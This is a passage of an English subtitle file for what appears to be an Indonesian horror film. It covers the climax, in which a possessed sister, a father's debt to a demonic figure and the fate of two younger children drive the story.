01:19:59.669 --> 01:20:01.838
Maya, why are you... When did you--

466
01:20:03.465 --> 01:20:05.008
Soon, Alfie.

467
01:20:05.342 --> 01:20:06.259
Alfie?

468
01:20:06.676 --> 01:20:07.761
Alfie, what's wrong?

469
01:20:35.413 --> 01:20:36.289
Ruben.

470
01:20:38.667 --> 01:20:40.168
-Ruben!
-What?

471
01:20:41.169 --> 01:20:42.629
We have to leave now.

472
01:20:44.297 --> 01:20:47.384
I called Lily. She's coming, all right?

473
01:20:48.468 --> 01:20:50.595
We can't go
because Mom is still out there.

474
01:20:56.142 --> 01:20:58.854
Look at my arm. Look!

475
01:21:03.400 --> 01:21:04.901
Look at Nara's!

476
01:21:09.865 --> 01:21:12.075
Remember what your mom said last night.

477
01:21:12.659 --> 01:21:14.995
"Fortune shall be paid with souls."

478
01:21:20.625 --> 01:21:22.836
That woman we saw last night,

479
01:21:22.919 --> 01:21:24.796
she came and took my mom.

480
01:21:24.880 --> 01:21:26.840
Now she's in your mom!

481
01:21:29.509 --> 01:21:31.928
She'll never let go of me and Nara.

482
01:21:33.388 --> 01:21:36.600
And I don't know
what will happen to you all.

483
01:21:41.771 --> 01:21:43.273
We should go, Ruben.

484
01:21:45.066 --> 01:21:47.444
Let's just fucking leave!

485
01:21:47.527 --> 01:21:48.778
It's time!

486
01:21:50.030 --> 01:21:52.282
He will never let you leave.

487
01:21:53.283 --> 01:21:56.369
He will never let you leave.

488
01:21:57.662 --> 01:22:00.624
What do you mean?
Who are you talking about, Maya?

489
01:22:00.832 --> 01:22:01.791
Who is he?

490
01:22:02.292 --> 01:22:03.168
Say his name!

491
01:22:03.251 --> 01:22:04.586
-Say it.
-Who?

492
01:22:04.669 --> 01:22:07.213
-Say it!
-Who, Maya?

493
01:22:07.297 --> 01:22:09.549
-Say his name! Say it!
-Who, Maya?

494
01:22:18.183 --> 01:22:19.559
Say it!

495
01:23:02.477 --> 01:23:03.353
Maya?

496
01:23:04.688 --> 01:23:05.939
What are you doing there?

497
01:23:06.439 --> 01:23:09.192
He will never let us leave.

498
01:23:37.137 --> 01:23:38.888
Maya!

499
01:23:41.725 --> 01:23:43.476
Alfie! I got to find Maya.

500
01:23:43.560 --> 01:23:45.020
No, Ruben, don't!

501
01:23:45.311 --> 01:23:47.147
-Don't!
-Watch over Nara.

502
01:23:48.773 --> 01:23:50.942
Ruben!

503
01:24:00.702 --> 01:24:01.536
Maya!

504
01:24:02.454 --> 01:24:04.372
Maya, we need to leave.

505
01:24:11.463 --> 01:24:13.882
Maya, what are you doing here?

506
01:24:14.549 --> 01:24:15.383
Maya.

507
01:25:03.223 --> 01:25:05.600
He wants Alfie and Nara, Ruben.

508
01:25:10.605 --> 01:25:11.648
Maya?

509
01:25:14.526 --> 01:25:16.194
Please tell me you're Maya.

510
01:25:22.742 --> 01:25:24.077
Who do you think this is?

511
01:25:26.246 --> 01:25:27.580
Wake up, Maya.

512
01:25:35.171 --> 01:25:36.589
I told you.

513
01:25:39.134 --> 01:25:41.219
We will never leave this house.

514
01:25:44.347 --> 01:25:45.640
I've killed Mom.

515
01:25:54.983 --> 01:25:56.109
Lily, too.

516
01:25:57.694 --> 01:25:58.778
In the woods.

517
01:26:01.239 --> 01:26:03.283
What did you say?

518
01:26:03.366 --> 01:26:05.952
Ruben, calm down.

519
01:26:07.787 --> 01:26:08.746
Calm down.

520
01:26:11.166 --> 01:26:13.459
Mom is already beneath his feet.

521
01:26:15.587 --> 01:26:16.546
Look.

522
01:26:18.673 --> 01:26:20.133
He's there.

523
01:26:20.800 --> 01:26:23.094
My daughter.

524
01:26:25.221 --> 01:26:29.058
He's waiting for me, for you,

525
01:26:29.726 --> 01:26:31.644
to be back in his embrace.

526
01:26:31.728 --> 01:26:32.937
Who is he?

527
01:26:44.490 --> 01:26:48.620
Now, let's take Alfie and Nara to him.

528
01:26:51.080 --> 01:26:53.541
You and I...

529
01:26:56.878 --> 01:26:59.297
we will never need to ask
for anything else.

530
01:27:04.469 --> 01:27:05.553
Are you crazy?

531
01:27:06.804 --> 01:27:09.724
This is our chance
to repay Lesmana's debts.

532
01:27:11.351 --> 01:27:13.728
Alfie and Nara.

533
01:27:15.521 --> 01:27:18.024
-And still, you reject him.
-Maya! Wake up!

534
01:27:18.399 --> 01:27:21.945
You're blind to his greatness.
You're blind to--

535
01:27:27.242 --> 01:27:28.201
Sorry.

536
01:27:45.134 --> 01:27:47.095
Maya!

537
01:27:52.058 --> 01:27:55.812
Maya!

538
01:28:00.566 --> 01:28:01.442
Ruben!

539
01:28:05.280 --> 01:28:06.281
Ruben.

540
01:28:17.333 --> 01:28:18.209
Ruben!

541
01:28:29.887 --> 01:28:30.847
Ruben!

542
01:28:41.232 --> 01:28:42.066
-Ruben!
-No!

543
01:28:42.150 --> 01:28:42.984
Don't come here.

544
01:28:44.277 --> 01:28:45.653
Go!

545
01:28:49.032 --> 01:28:49.949
Go!

546
01:28:53.077 --> 01:28:54.203
Go now!

547
01:29:27.945 --> 01:29:29.447
Maya!

548
01:29:43.711 --> 01:29:44.962
Brother!

549
01:29:45.046 --> 01:29:45.963
Nara!

550
01:29:48.508 --> 01:29:49.425
Nara!

551
01:30:25.419 --> 01:30:27.004
I have been waiting for you.

552
01:30:46.732 --> 01:30:48.484
Did you bring what is needed?

553
01:30:50.319 --> 01:30:51.654
I can't.

554
01:30:53.447 --> 01:30:55.241
Alfie's my daughter.

555
01:30:56.117 --> 01:30:57.910
But you could do it to your first wife.

556
01:31:00.079 --> 01:31:04.500
Lesmana, you didn't make a promise to me.

557
01:31:05.960 --> 01:31:10.965
Until now, you have not been able
to pay your dues.

558
01:31:38.868 --> 01:31:41.579
You take me for a fool, Lesmana?

559
01:32:33.714 --> 01:32:35.216
Lesmana!

560
01:32:37.760 --> 01:32:41.722
Not now, not later,

561
01:32:43.015 --> 01:32:45.643
but when you least expect it,

562
01:32:47.019 --> 01:32:49.689
you will lose everything!

563
01:32:52.525 --> 01:32:54.777
Along with your own flesh and blood!

564
01:32:56.612 --> 01:33:00.241
Be ready to be taken, Lesmana!

565
01:33:48.122 --> 01:33:49.123
Maya.

566
01:33:53.002 --> 01:33:54.795
Maya is one with me.

567
01:34:01.135 --> 01:34:03.637
She's laughing at you, my child.

568
01:34:08.225 --> 01:34:11.520
Your defiance is useless.

569
01:34:18.861 --> 01:34:20.696
Nara is your sister, Maya!

570
01:34:24.116 --> 01:34:26.118
Ruben was your brother!

571
01:35:10.037 --> 01:35:12.832
Please come to your senses, Maya.

572
01:35:12.915 --> 01:35:16.627
It's me, Alfie!

573
01:35:16.710 --> 01:35:18.546
It's all useless now, my child.

574
01:35:20.047 --> 01:35:21.966
Maya has already accepted who she is.

575
01:35:24.135 --> 01:35:26.137
After I have taken her.

576
01:35:29.306 --> 01:35:32.810
I know you still love Nara, Maya!

577
01:35:33.602 --> 01:35:34.895
I know it!

578
01:35:39.608 --> 01:35:40.609
Alfie.

579
01:35:47.700 --> 01:35:48.576
Honestly,

580
01:35:50.578 --> 01:35:53.581
I never really liked you.

581
01:36:57.728 --> 01:36:58.854
What's so funny?

582
01:37:08.948 --> 01:37:10.115
You're funny.

583
01:37:12.243 --> 01:37:14.620
Even now, you're still acting.

584
01:37:21.585 --> 01:37:22.795
What do you mean?

585
01:37:30.469 --> 01:37:31.804
"What do you mean?"

586
01:37:37.226 --> 01:37:40.437
You know what Ruben said about you?

587
01:37:46.694 --> 01:37:47.611
What?

588
01:37:53.367 --> 01:37:54.577
He told me

589
01:37:56.787 --> 01:38:01.625
that you are insecure and fearful.

590
01:38:03.377 --> 01:38:04.712
"Please cut her some slack."

591
01:38:39.788 --> 01:38:44.126
It seems like you won't need your legs
in the place where you're going.

592
01:38:59.683 --> 01:39:00.726
You go first.

593
01:40:25.686 --> 01:40:26.645
Nara!

594
01:45:49.176 --> 01:45:50.177
Alfie.

595
01:45:54.556 --> 01:45:55.474
Alfie.

596
01:46:01.396 --> 01:46:02.355
Alfie.

597
01:46:05.317 --> 01:46:06.193
Mom...

598
01:46:07.194 --> 01:46:08.111
Mom.

599
01:50:21.698 --> 01:50:23.700
Subtitle translation by Anggie S. Sidharta


ZeroDay Forums Mini